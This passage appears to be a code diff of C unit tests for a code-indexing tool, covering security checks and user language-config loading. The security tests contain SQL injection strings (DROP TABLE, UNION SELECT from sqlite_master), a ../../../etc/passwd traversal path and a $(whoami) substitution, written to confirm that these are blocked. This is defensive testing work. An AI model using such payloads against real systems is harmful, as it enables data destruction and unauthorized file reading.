cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_allows_normal_queries) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_node_t n = {.project = "test",
.label = "Function",
.name = "hello",
.qualified_name = "test.hello",
.file_path = "main.c",
.start_line = 1,
.end_line = 5};
cbm_store_upsert_node(s, &n);
cbm_cypher_result_t r = {0};
int rc =
cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test", 0, &r);
ASSERT_EQ(rc, 0);
ASSERT_EQ(r.row_count, 1);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQL INJECTION VIA CYPHER
* ══════════════════════════════════════════════════════════════════ */
TEST(cypher_rejects_sql_injection_in_string) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
/* Attempt SQL injection through a WHERE clause string value */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(
s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
/* Must either fail or return 0 rows — must NOT drop the table */
if (rc == 0) {
/* Query ran but should find nothing — verify nodes table still exists */
cbm_cypher_result_free(&r);
cbm_cypher_result_t r2 = {0};
int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
ASSERT_EQ(rc2, 0); /* Table must still exist */
cbm_cypher_result_free(&r2);
} else {
cbm_cypher_result_free(&r);
}
cbm_store_close(s);
PASS();
}
TEST(cypher_rejects_union_injection) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(
s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test", 0, &r);
/* Cypher parser should reject UNION — it's not valid Cypher */
ASSERT_NEQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(path_traversal_blocked) {
/* The get_code_snippet handler uses realpath() to verify that the
* resolved file path starts with the project root. We test this
* by calling the MCP handler with a traversal path. Since we can't
* easily call the MCP handler in a unit test, we verify the
* containment logic directly. */
char real_root[4096];
char real_file[4096];
/* /tmp is a real directory — create a temporary "project root" */
const char *root = "/tmp/cbm_security_test_root";
mkdir(root, 0755);
if (realpath(root, real_root)) {
/* Traversal attempt: ../../../etc/passwd relative to root */
char traversal[512];
snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
if (realpath(traversal, real_file)) {
/* Verify the resolved path does NOT start with root */
size_t root_len = strlen(real_root);
int contained =
(strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_FALSE(contained);
}
/* If realpath fails, the file doesn't exist — also safe */
}
rmdir(root);
PASS();
}
TEST(path_within_root_allowed) {
char real_root[4096];
char real_file[4096];
const char *root = "/tmp";
if (realpath(root, real_root) && realpath("/tmp", real_file)) {
size_t root_len = strlen(real_root);
int contained =
(strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_TRUE(contained);
}
PASS();
}
#endif /* _WIN32 — path containment */
/* ══════════════════════════════════════════════════════════════════
* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
*
* Replaces system() with fork()+execvp() to eliminate shell
* interpretation. Shell metacharacters in arguments are passed
* literally, not interpreted.
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(exec_no_shell_true_returns_zero) {
/* "true" command always exits 0 */
const char *argv[] = {"true", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_false_returns_nonzero) {
/* "false" command always exits 1 */
const char *argv[] = {"false", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_echo_with_metacharacters) {
/* Shell metacharacters must be passed literally, not interpreted.
* If shell interpretation occurred, $(whoami) would be expanded. */
const char *argv[] = {"echo", "$(whoami)", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
PASS();
}
TEST(exec_no_shell_nonexistent_command) {
const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
PASS();
}
TEST(exec_no_shell_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_captures_exit_code) {
/* sh -c "exit 42" should return 42 */
const char *argv[] = {"sh", "-c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
#endif /* _WIN32 */
/* ══════════════════════════════════════════════════════════════════
* SUITE
* ══════════════════════════════════════════════════════════════════ */
SUITE(security) {
/* Shell injection prevention */
RUN_TEST(shell_rejects_single_quote);
RUN_TEST(shell_rejects_dollar_subst);
RUN_TEST(shell_rejects_backtick);
RUN_TEST(shell_rejects_semicolon);
RUN_TEST(shell_rejects_pipe);
RUN_TEST(shell_rejects_ampersand);
RUN_TEST(shell_rejects_backslash);
RUN_TEST(shell_rejects_newline);
RUN_TEST(shell_rejects_carriage_return);
RUN_TEST(shell_rejects_null);
RUN_TEST(shell_accepts_clean_path);
RUN_TEST(shell_accepts_spaces);
RUN_TEST(shell_accepts_dots_dashes);
RUN_TEST(shell_accepts_empty);
RUN_TEST(shell_rejects_quote_escape_attack);
RUN_TEST(shell_rejects_command_substitution);
RUN_TEST(shell_rejects_env_var_expansion);
/* SQLite authorizer */
RUN_TEST(sqlite_blocks_attach_via_cypher);
RUN_TEST(sqlite_blocks_attach_direct);
RUN_TEST(sqlite_blocks_detach_direct);
RUN_TEST(sqlite_allows_normal_queries);
/* SQL injection via Cypher */
RUN_TEST(cypher_rejects_sql_injection_in_string);
RUN_TEST(cypher_rejects_union_injection);
/* Path containment (POSIX only) */
#ifndef _WIN32
RUN_TEST(path_traversal_blocked);
RUN_TEST(path_within_root_allowed);
#endif
#ifndef _WIN32
/* Shell-free subprocess execution */
RUN_TEST(exec_no_shell_true_returns_zero);
RUN_TEST(exec_no_shell_false_returns_nonzero);
RUN_TEST(exec_no_shell_echo_with_metacharacters);
RUN_TEST(exec_no_shell_nonexistent_command);
RUN_TEST(exec_no_shell_null_argv_returns_error);
RUN_TEST(exec_no_shell_captures_exit_code);
#endif
}
+218
View File
@@ -0,0 +1,218 @@
/*
* test_userconfig.c — Tests for user-defined extension→language mappings.
*
* Tests cbm_userconfig_load(), cbm_userconfig_lookup(), and the
* cbm_set_user_lang_config() / cbm_language_for_extension() integration.
*/
#include "../src/foundation/compat.h"
#include "../src/foundation/compat_fs.h"
#include "test_framework.h"
#include "discover/discover.h"
#include "discover/userconfig.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* ── Helpers ─────────────────────────────────────────────────────── */
/* Write a JSON file to path. Returns 0 on success. */
static int write_json(const char *path, const char *json) {
FILE *f = fopen(path, "w");
if (!f) {
return -1;
}
fputs(json, f);
fclose(f);
return 0;
}
/* ── Tests: project config ───────────────────────────────────────── */
TEST(userconfig_project_basic) {
/* Write a .codebase-memory.json in a temp dir */
char dir[256];
snprintf(dir, sizeof(dir), "%s/uctest_proj_basic", cbm_tmpdir());
cbm_mkdir_p(dir, 0755); /* from compat_fs.h via compat.h */
char proj[512];
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
ASSERT_EQ(
write_json(proj, "{\"extra_extensions\":{\".blade.php\":\"php\",\".mjs\":\"javascript\"}}"),
0);
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
ASSERT_NOT_NULL(cfg);
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".blade.php"), CBM_LANG_PHP);
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".mjs"), CBM_LANG_JAVASCRIPT);
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".go"), CBM_LANG_COUNT); /* not in user config */
cbm_userconfig_free(cfg);
remove(proj);
PASS();
}
/* ── Tests: global config ────────────────────────────────────────── */
TEST(userconfig_global_via_env) {
/* Point XDG_CONFIG_HOME to a temp dir */
char xdg_dir[256];
snprintf(xdg_dir, sizeof(xdg_dir), "%s/uctest_global_xdg", cbm_tmpdir());
char app_dir[512];
snprintf(app_dir, sizeof(app_dir), "%s/codebase-memory-mcp", xdg_dir);
cbm_mkdir_p(app_dir, 0755);
char global_path[768];
snprintf(global_path, sizeof(global_path), "%s/config.json", app_dir);
ASSERT_EQ(
write_json(global_path, "{\"extra_extensions\":{\".twig\":\"html\"}}"),
0);
/* Set env var, load, restore */
setenv("XDG_CONFIG_HOME", xdg_dir, 1);
cbm_userconfig_t *cfg = cbm_userconfig_load(NULL); /* no project dir */
unsetenv("XDG_CONFIG_HOME");
ASSERT_NOT_NULL(cfg);
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".twig"), CBM_LANG_HTML);
cbm_userconfig_free(cfg);
remove(global_path);
PASS();
}
/* ── Tests: project wins over global ────────────────────────────── */
TEST(userconfig_project_wins_over_global) {
/* Global says .xyz → python; project says .xyz → rust */
char xdg_dir[256];
snprintf(xdg_dir, sizeof(xdg_dir), "%s/uctest_priority_xdg", cbm_tmpdir());
char app_dir[512];
snprintf(app_dir, sizeof(app_dir), "%s/codebase-memory-mcp", xdg_dir);
cbm_mkdir_p(app_dir, 0755);
char global_path[768];
snprintf(global_path, sizeof(global_path), "%s/config.json", app_dir);
ASSERT_EQ(
write_json(global_path, "{\"extra_extensions\":{\".xyz\":\"python\"}}"),
0);
char proj_dir[256];
snprintf(proj_dir, sizeof(proj_dir), "%s/uctest_priority_proj", cbm_tmpdir());
cbm_mkdir_p(proj_dir, 0755);
char proj_path[512];
snprintf(proj_path, sizeof(proj_path), "%s/.codebase-memory.json", proj_dir);
ASSERT_EQ(
write_json(proj_path, "{\"extra_extensions\":{\".xyz\":\"rust\"}}"),
0);
setenv("XDG_CONFIG_HOME", xdg_dir, 1);
cbm_userconfig_t *cfg = cbm_userconfig_load(proj_dir);
unsetenv("XDG_CONFIG_HOME");
ASSERT_NOT_NULL(cfg);
/* Project definition (rust) must win */
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".xyz"), CBM_LANG_RUST);
cbm_userconfig_free(cfg);
remove(global_path);
remove(proj_path);
PASS();
}
/* ── Tests: unknown language values are skipped ──────────────────── */
TEST(userconfig_unknown_lang_skipped) {
char dir[256];
snprintf(dir, sizeof(dir), "%s/uctest_unknown_lang", cbm_tmpdir());
cbm_mkdir_p(dir, 0755);
char proj[512];
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
/* "klingon" is not a valid language; ".wasm" should be silently skipped */
ASSERT_EQ(
write_json(proj,
"{\"extra_extensions\":{\".wasm\":\"klingon\",\".mjs\":\"javascript\"}}"),
0);
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
ASSERT_NOT_NULL(cfg);
/* .wasm with unknown lang → not in config */
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".wasm"), CBM_LANG_COUNT);
/* .mjs with valid lang → present */
ASSERT_EQ(cbm_userconfig_lookup(cfg, ".mjs"), CBM_LANG_JAVASCRIPT);
cbm_userconfig_free(cfg);
remove(proj);
PASS();
}
/* ── Tests: missing files are silently ignored ───────────────────── */
TEST(userconfig_missing_files_ok) {
/* Point to a non-existent repo dir */
cbm_userconfig_t *cfg = cbm_userconfig_load("/tmp/__nonexistent_repo_12345__");
ASSERT_NOT_NULL(cfg); /* must not return NULL — just empty */
ASSERT_EQ(cfg->count, 0);
cbm_userconfig_free(cfg);
PASS();
}
/* ── Tests: integration with cbm_language_for_extension ─────────── */
TEST(userconfig_integration_override) {
/* Verify that setting the global config makes cbm_language_for_extension
* respect the override. We map ".blade.php" → PHP, which is not in the
* built-in table. */
char dir[256];
snprintf(dir, sizeof(dir), "%s/uctest_integ", cbm_tmpdir());
cbm_mkdir_p(dir, 0755);
char proj[512];
snprintf(proj, sizeof(proj), "%s/.codebase-memory.json", dir);
ASSERT_EQ(
write_json(proj, "{\"extra_extensions\":{\".blade.php\":\"php\"}}"),
0);
cbm_userconfig_t *cfg = cbm_userconfig_load(dir);
ASSERT_NOT_NULL(cfg);
/* Before setting, .blade.php is unknown */
ASSERT_EQ(cbm_language_for_extension(".blade.php"), CBM_LANG_COUNT);
cbm_set_user_lang_config(cfg);
/* After setting, .blade.php → PHP */
ASSERT_EQ(cbm_language_for_extension(".blade.php"), CBM_LANG_PHP);
/* Built-in extensions still work */
ASSERT_EQ(cbm_language_for_extension(".go"), CBM_LANG_GO);
/* Clean up global state */
cbm_set_user_lang_config(NULL);
cbm_userconfig_free(cfg);
remove(proj);
PASS();
}
/* ── Tests: free is NULL-safe ────────────────────────────────────── */
TEST(userconfig_free_null) {
cbm_userconfig_free(NULL); /* must not crash */
PASS();
}
/* ── Suite ──────────────────────────────────────────────────────── */
SUITE(userconfig) {
RUN_TEST(userconfig_project_basic);
RUN_TEST(userconfig_global_via_env);
RUN_TEST(userconfig_project_wins_over_global);
RUN_TEST(userconfig_unknown_lang_skipped);
RUN_TEST(userconfig_missing_files_ok);
RUN_TEST(userconfig_integration_override);
RUN_TEST(userconfig_free_null);
}